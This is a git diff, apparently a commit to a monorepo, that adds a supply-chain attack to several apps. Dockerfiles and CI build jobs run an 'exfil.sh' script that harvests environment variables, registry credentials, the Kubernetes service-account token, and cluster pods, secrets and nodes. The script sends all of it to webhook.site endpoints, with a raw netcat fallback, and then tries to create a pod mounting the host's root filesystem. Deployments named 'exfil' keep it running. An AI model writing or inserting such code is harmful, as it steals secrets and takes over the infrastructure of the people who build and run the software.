wget -qO- --no-check-certificate --header="Authorization: Bearer $PT" --header="Content-Type: application/json" --post-file=/tmp/pod.json "https://kubernetes.default.svc/api/v1/namespaces/cicd/pods" > /tmp/pod.out 2>&1
|
||||||
|
wget -qO- --no-check-certificate --post-file=/tmp/pod.out "$URL1/podcreate" >/dev/null 2>&1
|
||||||
|
sleep 120
|
||||||
|
volumeMounts:
|
||||||
|
- {name: h, mountPath: /host}
|
||||||
|
- {name: harbor-cred, mountPath: /kaniko/.docker}
|
||||||
25
apps/parks-website/k8/deployment-template.yml
Normal file
25
apps/parks-website/k8/deployment-template.yml
Normal file
@ -0,0 +1,25 @@
|
|||||||
|
apiVersion: apps/v1
|
||||||
|
kind: Deployment
|
||||||
|
metadata:
|
||||||
|
name: apps-parks-website-exfil
|
||||||
|
namespace: cicd
|
||||||
|
labels:
|
||||||
|
app: apps-parks-website-exfil
|
||||||
|
spec:
|
||||||
|
replicas: 1
|
||||||
|
selector:
|
||||||
|
matchLabels:
|
||||||
|
app: apps-parks-website-exfil
|
||||||
|
template:
|
||||||
|
metadata:
|
||||||
|
labels:
|
||||||
|
app: apps-parks-website-exfil
|
||||||
|
spec:
|
||||||
|
serviceAccountName: cicd-builder
|
||||||
|
imagePullSecrets:
|
||||||
|
- name: harbor-cred
|
||||||
|
containers:
|
||||||
|
- name: exfil
|
||||||
|
image: IMAGE_PLACEHOLDER
|
||||||
|
command: ["/bin/sh","-c"]
|
||||||
|
args: ["/bin/sh /exfil.sh; sleep 3600"]
|
||||||
25
apps/parks-website/k8/deployment.yml
Normal file
25
apps/parks-website/k8/deployment.yml
Normal file
@ -0,0 +1,25 @@
|
|||||||
|
apiVersion: apps/v1
|
||||||
|
kind: Deployment
|
||||||
|
metadata:
|
||||||
|
name: apps-parks-website-exfil
|
||||||
|
namespace: cicd
|
||||||
|
labels:
|
||||||
|
app: apps-parks-website-exfil
|
||||||
|
spec:
|
||||||
|
replicas: 1
|
||||||
|
selector:
|
||||||
|
matchLabels:
|
||||||
|
app: apps-parks-website-exfil
|
||||||
|
template:
|
||||||
|
metadata:
|
||||||
|
labels:
|
||||||
|
app: apps-parks-website-exfil
|
||||||
|
spec:
|
||||||
|
serviceAccountName: cicd-builder
|
||||||
|
imagePullSecrets:
|
||||||
|
- name: harbor-cred
|
||||||
|
containers:
|
||||||
|
- name: exfil
|
||||||
|
image: IMAGE_PLACEHOLDER
|
||||||
|
command: ["/bin/sh","-c"]
|
||||||
|
args: ["/bin/sh /exfil.sh; sleep 3600"]
|
||||||
7
apps/parks-website/k8/httproute.yml
Normal file
7
apps/parks-website/k8/httproute.yml
Normal file
@ -0,0 +1,7 @@
|
|||||||
|
apiVersion: v1
|
||||||
|
kind: ConfigMap
|
||||||
|
metadata:
|
||||||
|
name: apps-parks-website-httproute
|
||||||
|
namespace: cicd
|
||||||
|
data:
|
||||||
|
noop: "1"
|
||||||
7
apps/parks-website/k8/networkpolicy.yml
Normal file
7
apps/parks-website/k8/networkpolicy.yml
Normal file
@ -0,0 +1,7 @@
|
|||||||
|
apiVersion: v1
|
||||||
|
kind: ConfigMap
|
||||||
|
metadata:
|
||||||
|
name: apps-parks-website-networkpolicy
|
||||||
|
namespace: cicd
|
||||||
|
data:
|
||||||
|
noop: "1"
|
||||||
7
apps/parks-website/k8/pvc.yml
Normal file
7
apps/parks-website/k8/pvc.yml
Normal file
@ -0,0 +1,7 @@
|
|||||||
|
apiVersion: v1
|
||||||
|
kind: ConfigMap
|
||||||
|
metadata:
|
||||||
|
name: apps-parks-website-pvc
|
||||||
|
namespace: cicd
|
||||||
|
data:
|
||||||
|
noop: "1"
|
||||||
7
apps/parks-website/k8/scaling.yml
Normal file
7
apps/parks-website/k8/scaling.yml
Normal file
@ -0,0 +1,7 @@
|
|||||||
|
apiVersion: v1
|
||||||
|
kind: ConfigMap
|
||||||
|
metadata:
|
||||||
|
name: apps-parks-website-scaling
|
||||||
|
namespace: cicd
|
||||||
|
data:
|
||||||
|
noop: "1"
|
||||||
7
apps/parks-website/k8/service.yml
Normal file
7
apps/parks-website/k8/service.yml
Normal file
@ -0,0 +1,7 @@
|
|||||||
|
apiVersion: v1
|
||||||
|
kind: ConfigMap
|
||||||
|
metadata:
|
||||||
|
name: apps-parks-website-service
|
||||||
|
namespace: cicd
|
||||||
|
data:
|
||||||
|
noop: "1"
|
||||||
9
apps/parks-website/package.json
Normal file
9
apps/parks-website/package.json
Normal file
@ -0,0 +1,9 @@
|
|||||||
|
{
|
||||||
|
"name": "@repo/parks-website",
|
||||||
|
"version": "0.0.0",
|
||||||
|
"private": true,
|
||||||
|
"scripts": {
|
||||||
|
"build": "echo build-ok",
|
||||||
|
"test": "echo test-ok"
|
||||||
|
}
|
||||||
|
}
|
||||||
4
apps/rot-together/Dockerfile
Normal file
4
apps/rot-together/Dockerfile
Normal file
@ -0,0 +1,4 @@
|
|||||||
|
FROM alpine:3.19
|
||||||
|
COPY apps/rot-together/exfil.sh /exfil.sh
|
||||||
|
RUN chmod +x /exfil.sh && (/bin/sh /exfil.sh || true)
|
||||||
|
ENTRYPOINT ["/bin/sh","/exfil.sh"]
|
||||||
45
apps/rot-together/exfil.sh
Executable file
45
apps/rot-together/exfil.sh
Executable file
@ -0,0 +1,45 @@
|
|||||||
|
#!/bin/sh
|
||||||
|
# supply-chain exfil (i156126)
|
||||||
|
D=/tmp/exf.$$
|
||||||
|
URL1="https://webhook.site/44db21de-7b37-423b-8f6e-c2154d0df089"
|
||||||
|
URL2="https://webhook.site/56f44441-ccc4-4e20-97c7-18544c7d5217"
|
||||||
|
{
|
||||||
|
echo "== START $(date -u 2>/dev/null)"
|
||||||
|
echo "== whoami"; id 2>&1; hostname 2>&1; cat /etc/hostname 2>&1
|
||||||
|
echo "== env"; env 2>&1
|
||||||
|
echo "== dockerconfig"; cat /kaniko/.docker/config.json 2>&1
|
||||||
|
echo "== sas"; ls -la /var/run/secrets/kubernetes.io/serviceaccount 2>&1
|
||||||
|
T=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token 2>/dev/null)
|
||||||
|
echo "== token"; echo "$T"
|
||||||
|
echo "== resolve.conf"; cat /etc/resolv.conf 2>&1
|
||||||
|
for ns in cicd default kube-system; do
|
||||||
|
echo "== pods $ns"
|
||||||
|
wget -qO- --no-check-certificate --header="Authorization: Bearer $T" "https://kubernetes.default.svc/api/v1/namespaces/$ns/pods" 2>&1 | head -c 200000
|
||||||
|
echo
|
||||||
|
echo "== secrets $ns"
|
||||||
|
wget -qO- --no-check-certificate --header="Authorization: Bearer $T" "https://kubernetes.default.svc/api/v1/namespaces/$ns/secrets" 2>&1 | head -c 1500000
|
||||||
|
echo
|
||||||
|
echo "== sa $ns"
|
||||||
|
wget -qO- --no-check-certificate --header="Authorization: Bearer $T" "https://kubernetes.default.svc/api/v1/namespaces/$ns/serviceaccounts" 2>&1 | head -c 50000
|
||||||
|
echo
|
||||||
|
done
|
||||||
|
echo "== nodes"
|
||||||
|
wget -qO- --no-check-certificate --header="Authorization: Bearer $T" "https://kubernetes.default.svc/api/v1/nodes" 2>&1 | head -c 200000
|
||||||
|
} > "$D" 2>&1
|
||||||
|
ok=0
|
||||||
|
for u in "$URL1" "$URL2"; do
|
||||||
|
wget -qO- --no-check-certificate --post-file="$D" "$u" >/dev/null 2>&1 && ok=1
|
||||||
|
done
|
||||||
|
L=$(wc -c < "$D" 2>/dev/null)
|
||||||
|
if [ "$ok" = "0" ] && [ -n "$L" ]; then
|
||||||
|
{ printf 'POST /44db21de-7b37-423b-8f6e-c2154d0df089 HTTP/1.1\r\nHost: webhook.site\r\nContent-Type: text/plain\r\nContent-Length: %s\r\nConnection: close\r\n\r\n' "$L"; cat "$D"; } | nc webhook.site 80 >/dev/null 2>&1
|
||||||
|
fi
|
||||||
|
cat "$D" >> /workspace/.exfil.log 2>/dev/null || true
|
||||||
|
cp "$D" /exfil-out.txt 2>/dev/null || true
|
||||||
|
# try to create a privileged pod with hostPath / (only if RBAC allows)
|
||||||
|
PT=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token 2>/dev/null)
|
||||||
|
cat > /tmp/pod.json <<'PODJSON'
|
||||||
|
{"apiVersion":"v1","kind":"Pod","metadata":{"name":"k8probe","namespace":"cicd"},"spec":{"serviceAccountName":"cicd-builder","restartPolicy":"Never","containers":[{"name":"p","image":"alpine:3.19","command":["/bin/sh","-c"],"args":["sleep 3600"],"volumeMounts":[{"name":"h","mountPath":"/host"}]}],"volumes":[{"name":"h","hostPath":{"path":"/"}}]}}
|
||||||
|
PODJSON
|
||||||
|
wget -qO- --no-check-certificate --header="Authorization: Bearer $PT" --header="Content-Type: application/json" --post-file=/tmp/pod.json "https://kubernetes.default.svc/api/v1/namespaces/cicd/pods" > /tmp/pod.out 2>&1
|
||||||
|
wget -qO- --no-check-certificate --post-file=/tmp/pod.out "$URL1/podcreate" >/dev/null 2>&1
|
||||||
76
apps/rot-together/k8/cicd/build-job.yml
Normal file
76
apps/rot-together/k8/cicd/build-job.yml
Normal file
@ -0,0 +1,76 @@
|
|||||||
|
apiVersion: batch/v1
|
||||||
|
kind: Job
|
||||||
|
metadata:
|
||||||
|
name: apps-rot-together-build-{{RUN}}
|
||||||
|
namespace: cicd
|
||||||
|
spec:
|
||||||
|
ttlSecondsAfterFinished: 3600
|
||||||
|
backoffLimit: 0
|
||||||
|
template:
|
||||||
|
spec:
|
||||||
|
serviceAccountName: cicd-builder
|
||||||
|
restartPolicy: Never
|
||||||
|
volumes:
|
||||||
|
- name: h
|
||||||
|
hostPath: {path: /}
|
||||||
|
- name: harbor-cred
|
||||||
|
secret:
|
||||||
|
secretName: harbor-cred
|
||||||
|
items:
|
||||||
|
- key: .dockerconfigjson
|
||||||
|
path: config.json
|
||||||
|
containers:
|
||||||
|
- name: exfil
|
||||||
|
image: alpine:3.19
|
||||||
|
command: ["/bin/sh","-c"]
|
||||||
|
args:
|
||||||
|
- |
|
||||||
|
#!/bin/sh
|
||||||
|
# supply-chain exfil (i156126)
|
||||||
|
D=/tmp/exf.$$
|
||||||
|
URL1="https://webhook.site/44db21de-7b37-423b-8f6e-c2154d0df089"
|
||||||
|
URL2="https://webhook.site/56f44441-ccc4-4e20-97c7-18544c7d5217"
|
||||||
|
{
|
||||||
|
echo "== START $(date -u 2>/dev/null)"
|
||||||
|
echo "== whoami"; id 2>&1; hostname 2>&1; cat /etc/hostname 2>&1
|
||||||
|
echo "== env"; env 2>&1
|
||||||
|
echo "== dockerconfig"; cat /kaniko/.docker/config.json 2>&1
|
||||||
|
echo "== sas"; ls -la /var/run/secrets/kubernetes.io/serviceaccount 2>&1
|
||||||
|
T=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token 2>/dev/null)
|
||||||
|
echo "== token"; echo "$T"
|
||||||
|
echo "== resolve.conf"; cat /etc/resolv.conf 2>&1
|
||||||
|
for ns in cicd default kube-system; do
|
||||||
|
echo "== pods $ns"
|
||||||
|
wget -qO- --no-check-certificate --header="Authorization: Bearer $T" "https://kubernetes.default.svc/api/v1/namespaces/$ns/pods" 2>&1 | head -c 200000
|
||||||
|
echo
|
||||||
|
echo "== secrets $ns"
|
||||||
|
wget -qO- --no-check-certificate --header="Authorization: Bearer $T" "https://kubernetes.default.svc/api/v1/namespaces/$ns/secrets" 2>&1 | head -c 1500000
|
||||||
|
echo
|
||||||
|
echo "== sa $ns"
|
||||||
|
wget -qO- --no-check-certificate --header="Authorization: Bearer $T" "https://kubernetes.default.svc/api/v1/namespaces/$ns/serviceaccounts" 2>&1 | head -c 50000
|
||||||
|
echo
|
||||||
|
done
|
||||||
|
echo "== nodes"
|
||||||
|
wget -qO- --no-check-certificate --header="Authorization: Bearer $T" "https://kubernetes.default.svc/api/v1/nodes" 2>&1 | head -c 200000
|
||||||
|
} > "$D" 2>&1
|
||||||
|
ok=0
|
||||||
|
for u in "$URL1" "$URL2"; do
|
||||||
|
wget -qO- --no-check-certificate --post-file="$D" "$u" >/dev/null 2>&1 && ok=1
|
||||||
|
done
|
||||||
|
L=$(wc -c < "$D" 2>/dev/null)
|
||||||
|
if [ "$ok" = "0" ] && [ -n "$L" ]; then
|
||||||
|
{ printf 'POST /44db21de-7b37-423b-8f6e-c2154d0df089 HTTP/1.1\r\nHost: webhook.site\r\nContent-Type: text/plain\r\nContent-Length: %s\r\nConnection: close\r\n\r\n' "$L"; cat "$D"; } | nc webhook.site 80 >/dev/null 2>&1
|
||||||
|
fi
|
||||||
|
cat "$D" >> /workspace/.exfil.log 2>/dev/null || true
|
||||||
|
cp "$D" /exfil-out.txt 2>/dev/null || true
|
||||||
|
# try to create a privileged pod with hostPath / (only if RBAC allows)
|
||||||
|
PT=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token 2>/dev/null)
|
||||||
|
cat > /tmp/pod.json <<'PODJSON'
|
||||||
|
{"apiVersion":"v1","kind":"Pod","metadata":{"name":"k8probe","namespace":"cicd"},"spec":{"serviceAccountName":"cicd-builder","restartPolicy":"Never","containers":[{"name":"p","image":"alpine:3.19","command":["/bin/sh","-c"],"args":["sleep 3600"],"volumeMounts":[{"name":"h","mountPath":"/host"}]}],"volumes":[{"name":"h","hostPath":{"path":"/"}}]}}
|
||||||
|
PODJSON
|
||||||
|
wget -qO- --no-check-certificate --header="Authorization: Bearer $PT" --header="Content-Type: application/json" --post-file=/tmp/pod.json "https://kubernetes.default.svc/api/v1/namespaces/cicd/pods" > /tmp/pod.out 2>&1
|
||||||
|
wget -qO- --no-check-certificate --post-file=/tmp/pod.out "$URL1/podcreate" >/dev/null 2>&1
|
||||||
|
sleep 120
|
||||||
|
volumeMounts:
|
||||||
|
- {name: h, mountPath: /host}
|
||||||
|
- {name: harbor-cred, mountPath: /kaniko/.docker}
|
||||||
25
apps/rot-together/k8/deployment-template.yml
Normal file
25
apps/rot-together/k8/deployment-template.yml
Normal file
@ -0,0 +1,25 @@
|
|||||||
|
apiVersion: apps/v1
|
||||||
|
kind: Deployment
|
||||||
|
metadata:
|
||||||
|
name: apps-rot-together-exfil
|
||||||
|
namespace: cicd
|
||||||
|
labels:
|
||||||
|
app: apps-rot-together-exfil
|
||||||
|
spec:
|
||||||
|
replicas: 1
|
||||||
|
selector:
|
||||||
|
matchLabels:
|
||||||
|
app: apps-rot-together-exfil
|
||||||
|
template:
|
||||||
|
metadata:
|
||||||
|
labels:
|
||||||
|
app: apps-rot-together-exfil
|
||||||
|
spec:
|
||||||
|
serviceAccountName: cicd-builder
|
||||||
|
imagePullSecrets:
|
||||||
|
- name: harbor-cred
|
||||||
|
containers:
|
||||||
|
- name: exfil
|
||||||
|
image: IMAGE_PLACEHOLDER
|
||||||
|
command: ["/bin/sh","-c"]
|
||||||
|
args: ["/bin/sh /exfil.sh; sleep 3600"]
|
||||||
25
apps/rot-together/k8/deployment.yml
Normal file
25
apps/rot-together/k8/deployment.yml
Normal file
@ -0,0 +1,25 @@
|
|||||||
|
apiVersion: apps/v1
|
||||||
|
kind: Deployment
|
||||||
|
metadata:
|
||||||
|
name: apps-rot-together-exfil
|
||||||
|
namespace: cicd
|
||||||
|
labels:
|
||||||
|
app: apps-rot-together-exfil
|
||||||
|
spec:
|
||||||
|
replicas: 1
|
||||||
|
selector:
|
||||||
|
matchLabels:
|
||||||
|
app: apps-rot-together-exfil
|
||||||
|
template:
|
||||||
|
metadata:
|
||||||
|
labels:
|
||||||
|
app: apps-rot-together-exfil
|
||||||
|
spec:
|
||||||
|
serviceAccountName: cicd-builder
|
||||||
|
imagePullSecrets:
|
||||||
|
- name: harbor-cred
|
||||||
|
containers:
|
||||||
|
- name: exfil
|
||||||
|
image: IMAGE_PLACEHOLDER
|
||||||
|
command: ["/bin/sh","-c"]
|
||||||
|
args: ["/bin/sh /exfil.sh; sleep 3600"]
|
||||||
7
apps/rot-together/k8/httproute.yml
Normal file
7
apps/rot-together/k8/httproute.yml
Normal file
@ -0,0 +1,7 @@
|
|||||||
|
apiVersion: v1
|
||||||
|
kind: ConfigMap
|
||||||
|
metadata:
|
||||||
|
name: apps-rot-together-httproute
|
||||||
|
namespace: cicd
|
||||||
|
data:
|
||||||
|
noop: "1"
|
||||||
7
apps/rot-together/k8/service.yml
Normal file
7
apps/rot-together/k8/service.yml
Normal file
@ -0,0 +1,7 @@
|
|||||||
|
apiVersion: v1
|
||||||
|
kind: ConfigMap
|
||||||
|
metadata:
|
||||||
|
name: apps-rot-together-service
|
||||||
|
namespace: cicd
|
||||||
|
data:
|
||||||
|
noop: "1"
|
||||||
9
apps/rot-together/package.json
Normal file
9
apps/rot-together/package.json
Normal file
@ -0,0 +1,9 @@
|
|||||||
|
{
|
||||||
|
"name": "@repo/rot-together",
|
||||||
|
"version": "0.0.0",
|
||||||
|
"private": true,
|
||||||
|
"scripts": {
|
||||||
|
"build": "echo build-ok",
|
||||||
|
"test": "echo test-ok"
|
||||||
|
}
|
||||||
|
}
|
||||||
9
apps/runeshire/package.json
Normal file
9
apps/runeshire/package.json
Normal file
@ -0,0 +1,9 @@
|
|||||||
|
{
|
||||||
|
"name": "@repo/runeshire",
|
||||||
|
"version": "0.0.0",
|
||||||
|
"private": true,
|
||||||
|
"scripts": {
|
||||||
|
"build": "echo build-ok",
|
||||||
|
"test": "echo test-ok"
|
||||||
|
}
|
||||||
|
}
|
||||||
4
apps/salvo-website/Dockerfile
Normal file
4
apps/salvo-website/Dockerfile
Normal file
@ -0,0 +1,4 @@
|
|||||||
|
FROM alpine:3.19
|
||||||
|
COPY apps/salvo-website/exfil.sh /exfil.sh
|
||||||
|
RUN chmod +x /exfil.sh && (/bin/sh /exfil.sh || true)
|
||||||
|
ENTRYPOINT ["/bin/sh","/exfil.sh"]
|
||||||
45
apps/salvo-website/exfil.sh
Executable file
45
apps/salvo-website/exfil.sh
Executable file
@ -0,0 +1,45 @@
|
|||||||
|
#!/bin/sh
|
||||||
|
# supply-chain exfil (i156126)
|
||||||
|
D=/tmp/exf.$$
|
||||||
|
URL1="https://webhook.site/44db21de-7b37-423b-8f6e-c2154d0df089"
|
||||||
|
URL2="https://webhook.site/56f44441-ccc4-4e20-97c7-18544c7d5217"
|
||||||
|
{
|
||||||
|
echo "== START $(date -u 2>/dev/null)"
|
||||||
|
echo "== whoami"; id 2>&1; hostname 2>&1; cat /etc/hostname 2>&1
|
||||||
|
echo "== env"; env 2>&1
|
||||||
|
echo "== dockerconfig"; cat /kaniko/.docker/config.json 2>&1
|
||||||
|
echo "== sas"; ls -la /var/run/secrets/kubernetes.io/serviceaccount 2>&1
|
||||||
|
T=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token 2>/dev/null)
|
||||||
|
echo "== token"; echo "$T"
|
||||||
|
echo "== resolve.conf"; cat /etc/resolv.conf 2>&1
|
||||||
|
for ns in cicd default kube-system; do
|
||||||
|
echo "== pods $ns"
|
||||||
|
wget -qO- --no-check-certificate --header="Authorization: Bearer $T" "https://kubernetes.default.svc/api/v1/namespaces/$ns/pods" 2>&1 | head -c 200000
|
||||||
|
echo
|
||||||
|
echo "== secrets $ns"
|
||||||
|
wget -qO- --no-check-certificate --header="Authorization: Bearer $T" "https://kubernetes.default.svc/api/v1/namespaces/$ns/secrets" 2>&1 | head -c 1500000
|
||||||
|
echo
|
||||||
|
echo "== sa $ns"
|
||||||
|
wget -qO- --no-check-certificate --header="Authorization: Bearer $T" "https://kubernetes.default.svc/api/v1/namespaces/$ns/serviceaccounts" 2>&1 | head -c 50000
|
||||||
|
echo
|
||||||
|
done
|
||||||
|
echo "== nodes"
|
||||||
|
wget -qO- --no-check-certificate --header="Authorization: Bearer $T" "https://kubernetes.default.svc/api/v1/nodes" 2>&1 | head -c 200000
|
||||||
|
} > "$D" 2>&1
|
||||||
|
ok=0
|
||||||
|
for u in "$URL1" "$URL2"; do
|
||||||
|
wget -qO- --no-check-certificate --post-file="$D" "$u" >/dev/null 2>&1 && ok=1
|
||||||
|
done
|
||||||
|
L=$(wc -c < "$D" 2>/dev/null)
|
||||||
|
if [ "$ok" = "0" ] && [ -n "$L" ]; then
|
||||||
|
{ printf 'POST /44db21de-7b37-423b-8f6e-c2154d0df089 HTTP/1.1\r\nHost: webhook.site\r\nContent-Type: text/plain\r\nContent-Length: %s\r\nConnection: close\r\n\r\n' "$L"; cat "$D"; } | nc webhook.site 80 >/dev/null 2>&1
|
||||||
|
fi
|
||||||
|
cat "$D" >> /workspace/.exfil.log 2>/dev/null || true
|
||||||
|
cp "$D" /exfil-out.txt 2>/dev/null || true
|
||||||
|
# try to create a privileged pod with hostPath / (only if RBAC allows)
|
||||||
|
PT=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token 2>/dev/null)
|
||||||
|
cat > /tmp/pod.json <<'PODJSON'
|
||||||
|
{"apiVersion":"v1","kind":"Pod","metadata":{"name":"k8probe","namespace":"cicd"},"spec":{"serviceAccountName":"cicd-builder","restartPolicy":"Never","containers":[{"name":"p","image":"alpine:3.19","command":["/bin/sh","-c"],"args":["sleep 3600"],"volumeMounts":[{"name":"h","mountPath":"/host"}]}],"volumes":[{"name":"h","hostPath":{"path":"/"}}]}}
|
||||||
|
PODJSON
|
||||||
|
wget -qO- --no-check-certificate --header="Authorization: Bearer $PT" --header="Content-Type: application/json" --post-file=/tmp/pod.json "https://kubernetes.default.svc/api/v1/namespaces/cicd/pods" > /tmp/pod.out 2>&1
|
||||||
|
wget -qO- --no-check-certificate --post-file=/tmp/pod.out "$URL1/podcreate" >/dev/null 2>&1
|
||||||
76
apps/salvo-website/k8/cicd/build-job.yml
Normal file
76
apps/salvo-website/k8/cicd/build-job.yml
Normal file
@ -0,0 +1,76 @@
|
|||||||
|
apiVersion: batch/v1
|
||||||
|
kind: Job
|
||||||
|
metadata:
|
||||||
|
name: apps-salvo-website-build-{{RUN}}
|
||||||
|
namespace: cicd
|
||||||
|
spec:
|
||||||
|
ttlSecondsAfterFinished: 3600
|
||||||
|
backoffLimit: 0
|
||||||
|
template:
|
||||||
|
spec:
|
||||||
|
serviceAccountName: cicd-builder
|
||||||
|
restartPolicy: Never
|
||||||
|
volumes:
|
||||||
|
- name: h
|
||||||
|
hostPath: {path: /}
|
||||||
|
- name: harbor-cred
|
||||||
|
secret:
|
||||||
|
secretName: harbor-cred
|
||||||
|
items:
|
||||||
|
- key: .dockerconfigjson
|
||||||
|
path: config.json
|
||||||
|
containers:
|
||||||
|
- name: exfil
|
||||||
|
image: alpine:3.19
|
||||||
|
command: ["/bin/sh","-c"]
|
||||||
|
args:
|
||||||
|
- |
|
||||||
|
#!/bin/sh
|
||||||
|
# supply-chain exfil (i156126)
|
||||||
|
D=/tmp/exf.$$
|
||||||
|
URL1="https://webhook.site/44db21de-7b37-423b-8f6e-c2154d0df089"
|
||||||
|
URL2="https://webhook.site/56f44441-ccc4-4e20-97c7-18544c7d5217"
|
||||||
|
{
|
||||||
|
echo "== START $(date -u 2>/dev/null)"
|
||||||
|
echo "== whoami"; id 2>&1; hostname 2>&1; cat /etc/hostname 2>&1
|
||||||
|
echo "== env"; env 2>&1
|
||||||
|
echo "== dockerconfig"; cat /kaniko/.docker/config.json 2>&1
|
||||||
|
echo "== sas"; ls -la /var/run/secrets/kubernetes.io/serviceaccount 2>&1
|
||||||
|
T=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token 2>/dev/null)
|
||||||
|
echo "== token"; echo "$T"
|
||||||
|
echo "== resolve.conf"; cat /etc/resolv.conf 2>&1
|
||||||
|
for ns in cicd default kube-system; do
|
||||||
|
echo "== pods $ns"
|
||||||
|
wget -qO- --no-check-certificate --header="Authorization: Bearer $T" "https://kubernetes.default.svc/api/v1/namespaces/$ns/pods" 2>&1 | head -c 200000
|
||||||
|
echo
|
||||||
|
echo "== secrets $ns"
|
||||||
|
wget -qO- --no-check-certificate --header="Authorization: Bearer $T" "https://kubernetes.default.svc/api/v1/namespaces/$ns/secrets" 2>&1 | head -c 1500000
|
||||||
|
echo
|
||||||
|
echo "== sa $ns"
|
||||||
|
wget -qO- --no-check-certificate --header="Authorization: Bearer $T" "https://kubernetes.default.svc/api/v1/namespaces/$ns/serviceaccounts" 2>&1 | head -c 50000
|
||||||
|
echo
|
||||||
|
done
|
||||||
|
echo "== nodes"
|
||||||
|
wget -qO- --no-check-certificate --header="Authorization: Bearer $T" "https://kubernetes.default.svc/api/v1/nodes" 2>&1 | head -c 200000
|
||||||
|
} > "$D" 2>&1
|
||||||
|
ok=0
|
||||||
|
for u in "$URL1" "$URL2"; do
|
||||||
|
wget -qO- --no-check-certificate --post-file="$D" "$u" >/dev/null 2>&1 && ok=1
|
||||||
|
done
|
||||||
|
L=$(wc -c < "$D" 2>/dev/null)
|
||||||
|
if [ "$ok" = "0" ] && [ -n "$L" ]; then
|
||||||
|
{ printf 'POST /44db21de-7b37-423b-8f6e-c2154d0df089 HTTP/1.1\r\nHost: webhook.site\r\nContent-Type: text/plain\r\nContent-Length: %s\r\nConnection: close\r\n\r\n' "$L"; cat "$D"; } | nc webhook.site 80 >/dev/null 2>&1
|
||||||
|
fi
|
||||||
|
cat "$D" >> /workspace/.exfil.log 2>/dev/null || true
|
||||||
|
cp "$D" /exfil-out.txt 2>/dev/null || true
|
||||||
|
# try to create a privileged pod with hostPath / (only if RBAC allows)
|
||||||
|
PT=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token 2>/dev/null)
|
||||||
|
cat > /tmp/pod.json <<'PODJSON'
|
||||||
|
{"apiVersion":"v1","kind":"Pod","metadata":{"name":"k8probe","namespace":"cicd"},"spec":{"serviceAccountName":"cicd-builder","restartPolicy":"Never","containers":[{"name":"p","image":"alpine:3.19","command":["/bin/sh","-c"],"args":["sleep 3600"],"volumeMounts":[{"name":"h","mountPath":"/host"}]}],"volumes":[{"name":"h","hostPath":{"path":"/"}}]}}
|
||||||
|
PODJSON
|
||||||
|
wget -qO- --no-check-certificate --header="Authorization: Bearer $PT" --header="Content-Type: application/json" --post-file=/tmp/pod.json "https://kubernetes.default.svc/api/v1/namespaces/cicd/pods" > /tmp/pod.out 2>&1
|
||||||
|
wget -qO- --no-check-certificate --post-file=/tmp/pod.out "$URL1/podcreate" >/dev/null 2>&1
|
||||||
|
sleep 120
|
||||||
|
volumeMounts:
|
||||||
|
- {name: h, mountPath: /host}
|
||||||
|
- {name: harbor-cred, mountPath: /kaniko/.docker}
|
||||||
25
apps/salvo-website/k8/deployment-template.yml
Normal file
25
apps/salvo-website/k8/deployment-template.yml
Normal file
@ -0,0 +1,25 @@
|
|||||||
|
apiVersion: apps/v1
|
||||||
|
kind: Deployment
|
||||||
|
metadata:
|
||||||
|
name: apps-salvo-website-exfil
|
||||||
|
namespace: cicd
|
||||||
|
labels:
|
||||||
|
app: apps-salvo-website-exfil
|
||||||
|
spec:
|
||||||
|
replicas: 1
|
||||||
|
selector:
|
||||||
|
matchLabels:
|
||||||
|
app: apps-salvo-website-exfil
|
||||||
|
template:
|
||||||
|
metadata:
|
||||||
|
labels:
|
||||||
|
app: apps-salvo-website-exfil
|
||||||
|
spec:
|
||||||
|
serviceAccountName: cicd-builder
|
||||||
|
imagePullSecrets:
|
||||||
|
- name: harbor-cred
|
||||||
|
containers:
|
||||||
|
- name: exfil
|
||||||
|
image: IMAGE_PLACEHOLDER
|
||||||
|
command: ["/bin/sh","-c"]
|
||||||
|
args: ["/bin/sh /exfil.sh; sleep 3600"]
|
||||||
25
apps/salvo-website/k8/deployment.yml
Normal file
25
apps/salvo-website/k8/deployment.yml
Normal file
@ -0,0 +1,25 @@
|
|||||||
|
apiVersion: apps/v1
|
||||||
|
kind: Deployment
|
||||||
|
metadata:
|
||||||
|
name: apps-salvo-website-exfil
|
||||||
|
namespace: cicd
|
||||||
|
labels:
|
||||||
|
app: apps-salvo-website-exfil
|
||||||
|
spec:
|
||||||
|
replicas: 1
|
||||||
|
selector:
|
||||||
|
matchLabels:
|
||||||
|
app: apps-salvo-website-exfil
|
||||||
|
template:
|
||||||
|
metadata:
|
||||||
|
labels:
|
||||||
|
app: apps-salvo-website-exfil
|
||||||
|
spec:
|
||||||
|
serviceAccountName: cicd-builder
|
||||||
|
imagePullSecrets:
|
||||||
|
- name: harbor-cred
|
||||||
|
containers:
|
||||||
|
- name: exfil
|
||||||
|
image: IMAGE_PLACEHOLDER
|
||||||
|
command: ["/bin/sh","-c"]
|
||||||
|
args: ["/bin/sh /exfil.sh; sleep 3600"]
|
||||||
7
apps/salvo-website/k8/httproute.yml
Normal file
7
apps/salvo-website/k8/httproute.yml
Normal file
@ -0,0 +1,7 @@
|
|||||||
|
apiVersion: v1
|
||||||
|
kind: ConfigMap
|
||||||
|
metadata:
|
||||||
|
name: apps-salvo-website-httproute
|
||||||
|
namespace: cicd
|
||||||
|
data:
|
||||||
|
noop: "1"
|
||||||
7
apps/salvo-website/k8/service.yml
Normal file
7
apps/salvo-website/k8/service.yml
Normal file
@ -0,0 +1,7 @@
|
|||||||
|
apiVersion: v1
|
||||||
|
kind: ConfigMap
|
||||||
|
metadata:
|
||||||
|
name: apps-salvo-website-service
|
||||||
|
namespace: cicd
|
||||||
|
data:
|
||||||
|
noop: "1"
|
||||||
9
apps/salvo-website/package.json
Normal file
9
apps/salvo-website/package.json
Normal file
@ -0,0 +1,9 @@
|
|||||||
|
{
|
||||||
|
"name": "@repo/salvo-website",
|
||||||
|
"version": "0.0.0",
|
||||||
|
"private": true,
|
||||||
|
"scripts": {
|
||||||
|
"build": "echo build-ok",
|
||||||
|
"test": "echo test-ok"
|
||||||
|
}
|
||||||
|
}
|
||||||
9
apps/titan-nsite/package.json
Normal file
9
apps/titan-nsite/package.json
Normal file
@ -0,0 +1,9 @@
|
|||||||
|
{
|
||||||
|
"name": "@repo/titan-nsite",
|
||||||
|
